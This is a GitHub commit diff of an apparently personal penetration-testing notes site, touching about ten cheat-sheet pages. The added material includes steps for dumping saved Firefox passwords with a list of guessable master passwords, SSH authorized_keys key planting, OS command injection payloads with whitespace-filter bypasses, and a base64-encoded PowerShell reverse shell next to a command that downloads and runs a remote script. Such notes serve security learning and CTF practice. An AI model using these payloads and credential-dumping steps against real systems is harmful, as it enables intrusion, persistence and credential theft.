File tree Expand file tree Collapse file tree 10 files changed +122
-114
lines changed Expand file tree Collapse file tree 10 files changed +122
-114
lines changed Original file line number Diff line number Diff line change 1
- Copyright (c) 2022 Hideki Ishiguro
1
+ Copyright (c) 2022 hdks
2
2
3
3
Permission is hereby granted, free of charge, to any person obtaining
4
4
a copy of this software and associated documentation files (the
Original file line number Diff line number Diff line change @@ -4,15 +4,15 @@ description: SQLite is a database engine.
4
4
tags :
5
5
- Database
6
6
refs :
7
- date : 2023-03-11
7
+ date : 2024-10-03
8
8
draft : false
9
9
---
10
10
11
11
## Interpreter
12
12
13
13
``` sh
14
14
sqlite3 sample.db
15
- # or
15
+ sqlite3 sample.sqlite
16
16
sqlitebrowser sample.db
17
17
```
18
18
@@ -31,13 +31,15 @@ sqlite> .databases
31
31
sqlite> .tables
32
32
33
33
# Show table information
34
- sqlite> pragma table_info(table_name);
34
+ sqlite> PRAGMA table_info(table_name);
35
35
36
36
# Dump contents of tables
37
37
sqlite> .dump < table>
38
38
39
- # SQL commands
40
- sqlite> select * from < table> ;
39
+ # SQL commands to display values in the table
40
+ sqlite> SELECT * FROM < table> ;
41
+ # Display values in Hex
42
+ sqlite> SELECT HEX(column_name) FROM < table> ;
41
43
42
44
# Exit the interpreter
43
45
sqlite> .quit
Original file line number Diff line number Diff line change @@ -4,7 +4,7 @@ description:
4
4
tags :
5
5
- Linux
6
6
refs :
7
- date : 2023-11-11
7
+ date : 2024-10-03
8
8
draft : false
9
9
---
10
10
@@ -22,13 +22,14 @@ python -m http.server --directory /usr/bin
22
22
In machine B, download a file from the web server of machine A.
23
23
24
24
``` sh
25
- wget http://< ip-for-machine-A > :8000/example.txt
25
+ wget http://< ip> :8000/example.txt
26
26
27
27
# Download recursively
28
- # -r: recursive
29
- # -np: no parent
30
- # Don't forget "/" after the directory name
31
- wget -r -np http://< ip-for-machine-A> /somedir/
28
+ # -r: Recursive
29
+ # -np: No parent
30
+ # --reject="index.html*": Not save index.html
31
+ # -P: output directory
32
+ wget http://< ip> /example_dir -r -np -nH --cut-dirs=1 --reject=" index.html*" -P example_dir
32
33
```
33
34
34
35
<br />
Original file line number Diff line number Diff line change
1
+ ---
2
+ title : FireFox Credentials Dumping
3
+ description : A .mofilla directory contains a firefox directory that stores credentials. We may dump the credentials and escalate privilege using them.
4
+ tags :
5
+ - Privilege Escalation
6
+ refs :
7
+ date : 2024-10-03
8
+ draft : false
9
+ ---
10
+
11
+ ## Investigation
12
+
13
+ If there is a ` .mozilla/firefox ` directory in some user's home directory, we can dump credentials. So check this directory:
14
+
15
+ ``` sh
16
+ ls -al /home/< user> /.mozilla/
17
+ ```
18
+
19
+ <br />
20
+
21
+ ## Dump Passwords from Firefox Profile
22
+
23
+ To crack it, use [ firefox_decrypt] ( https://github.com/unode/firefox_decrypt ) :
24
+
25
+ ``` sh
26
+ python3 firefox_decrypt.py .mozilla/firefox/< id>
27
+ ```
28
+
29
+ If we’ll be asked the master password and we don’t know it, try common passwords.
30
+
31
+ ``` txt
32
+ admin
33
+ password
34
+ password1
35
+ password123
36
+ root
37
+ ```
Original file line number Diff line number Diff line change 6
6
- Remote Code Execution
7
7
refs :
8
8
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation
9
- date : 2024-07-17
9
+ date : 2024-10-03
10
10
draft : false
11
11
---
12
12
@@ -348,6 +348,33 @@ ls /proc/bus/pci
348
348
349
349
<br />
350
350
351
+ ## SSH Public Key Forgery
352
+
353
+ If we have write permission to ` .ssh/authorized_keys ` , we can insert our SSH public key to this file and login as the user.
354
+
355
+ In local machine, generate SSH private/public keys as below:
356
+
357
+ ``` sh
358
+ ssh-keygen -f key
359
+ cat key.pub
360
+ # Copy the output!
361
+ ```
362
+
363
+ In target machine, paste the content of the public key to ` .ssh/authorized_keys ` :
364
+
365
+ ``` sh
366
+ echo ' <PUBKEY_CONTENT>' >> .ssh/authorized_keys
367
+ ```
368
+
369
+ In local machine, we can login using the private key:
370
+
371
+ ``` sh
372
+ chmod 600 key
373
+ ssh user@< target-ip> -i key
374
+ ```
375
+
376
+ <br />
377
+
351
378
## Open Ports
352
379
353
380
``` sh
@@ -434,15 +461,12 @@ pidof /bin/bash
434
461
pidof python3
435
462
436
463
lsof
437
- sudo lsof
438
- # -l: List UID numbers
439
- lsof -l
440
- sudo lsof -l
441
- # -i: Select by IPv[46] address
442
- lsof -i :80
443
- sudo lsof -i :80
444
- lsof -i :443
445
- sudo lsof -i :443
464
+ # -p: PID
465
+ lsof -p 1234
466
+ # -i: Display the information of network connections.
467
+ # -n: Not resolve IP addresses.
468
+ # -P: Display port numbers.
469
+ lsof -i -n -P
446
470
` ` `
447
471
448
472
# ## Using PSPY
Load Diff This file was deleted.
Original file line number Diff line number Diff line change 8
8
refs :
9
9
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
10
10
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
11
- date : 2024-09-10
11
+ date : 2024-10-03
12
12
draft : false
13
13
---
14
14
@@ -135,11 +135,9 @@ powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://e
135
135
136
136
powershell -c "Invoke-Expression (Invoke-WebRequest -usebasicparsing http://10.0.0.1:8000/revshell.ps1)"
137
137
138
- # Base64 encoded payload
139
- powershell -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgnMTAuMC4wLjEnLDEyMzQpOyRzdHJlYW0gPSAkY2xpZW50LkdldFN0cmVhbSgpO1tieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXswfTt3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLCAwLCAkYnl0ZXMuTGVuZ3RoKSkgLW5lIDApezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfTskY2xpZW50LkNsb3NlKCk=
140
-
141
- # Base64 encoded payload (contains null character between each character)
142
- powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMAAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
138
+ # Base64-encode (UTF-16LE).
139
+ # Use CyberChef: "Encode text (UTF-16LE)" -> "To Base64"
140
+ powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADAALgAxACcALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
143
141
```
144
142
145
143
### Bypass AV (Antivirus)
Original file line number Diff line number Diff line change @@ -4,7 +4,7 @@ description: Basic methodologies of web penetration tests. A default port is 80.
4
4
tags :
5
5
- Web
6
6
refs :
7
- date : 2024-02-13
7
+ date : 2024-10-03
8
8
draft : false
9
9
---
10
10
@@ -143,12 +143,9 @@ Now access to the website again. We might be able to see the contents of the web
143
143
144
144
<br />
145
145
146
- ## Find Information in Web Pages
146
+ ## Check Comments in HTML Source
147
147
148
- ``` sh
149
- curl http://vulnerable.com/ | grep -i hidden
150
- curl http://vulnerable.com/ | grep -i password
151
- ```
148
+ There may be comments in the HTML source code that provide hints for exploitation.
152
149
153
150
<br />
154
151
Original file line number Diff line number Diff line change 1
1
---
2
2
title : OS Command Injection
3
- description :
3
+ description : We can inject OS commands through URL params, POST data, etc.
4
4
tags :
5
5
- Remote Code Execution
6
6
- Reverse Shell
7
7
- Web
8
8
refs :
9
- date : 2023-11-11
9
+ date : 2024-10-03
10
10
draft : false
11
11
---
12
12
13
+ ## Automation
14
+
15
+ - [ commix] ( https://github.com/commixproject/commix )
16
+
17
+ ``` bash
18
+ commix.py -u https://example.com/? name=test
19
+ commix.py -u https://example.com/ --method=POST -d " name=test"
20
+ ```
21
+
22
+ * Use ` --batch` option for default behavior without user input.
23
+
24
+ < br />
25
+
13
26
# # Basic Payloads
14
27
15
28
If the payload includes whitespaces (** ' ' ** ), we need to change it to ** ' +' ** or ** URL encoding (' %20' )** .
@@ -74,17 +87,22 @@ We may be able to bypass specific character filter by encoding them.
74
87
75
88
Reference: [https://www.ctfnote.com/web/os-command-injection/whitespace-bypass](https://www.ctfnote.com/web/os-command-injection/whitespace-bypass)
76
89
77
- If the website filters whitespaces and we cannot inject OS command including spaces e.g. ** 'sleep 5'** , we can insert ** Internal Field Separator (IFS)** as whitespace.
90
+ If the website filters whitespaces and we cannot inject OS command including spaces e.g. ** ' sleep 5' ** , we can insert ** Internal Field Separator (IFS)** as whitespace:
78
91
79
92
` ` ` bash
80
93
$IFS $9
94
+ # or
95
+ ${IFS}
81
96
` ` `
82
97
83
98
# ## Payload Examples:
84
99
100
+ Below is the ` ping -c 1 10.0.0.1` command:
101
+
85
102
` ` ` html
86
- <!-- ping -c 5 10.0.0.1 -->
87
- /?cmd=ping$IFS$9-c$IFS$9510.0.0.1
103
+ /? cmd=ping$IFS $9 -c$IFS $9 1$IFS $9 10.0.0.1
104
+ < ! -- or -->
105
+ /? cmd=ping${IFS} -c${IFS} 1${IFS} 10.0.0.1
88
106
` ` `
89
107
90
108
< br />
Original file line number Diff line number Diff line change @@ -4,17 +4,18 @@ description:
4
4
tags :
5
5
- Web
6
6
ref :
7
- date : 2024-04-13
7
+ date : 2024-10-03
8
8
draft : false
9
9
---
10
10
11
11
## Automation
12
12
13
- [ Tplmap ] ( https://github.com/epinna/tplmap ) is a program for Server-Side Template Injection and Code Injection.
13
+ - [ SSTImap ] ( https://github.com/vladko312/SSTImap )
14
14
15
- ``` sh
16
- ./tplmap.py -u http://vulnerable.com/? name=test
17
- ```
15
+ ``` sh
16
+ ./sstimap.py -u https://example.com/? name=test
17
+ ./sstimap.py -u https://example.com -m POST -d " name=test"
18
+ ```
18
19
19
20
< br />
20
21
You can’t perform that action at this time.
0 commit comments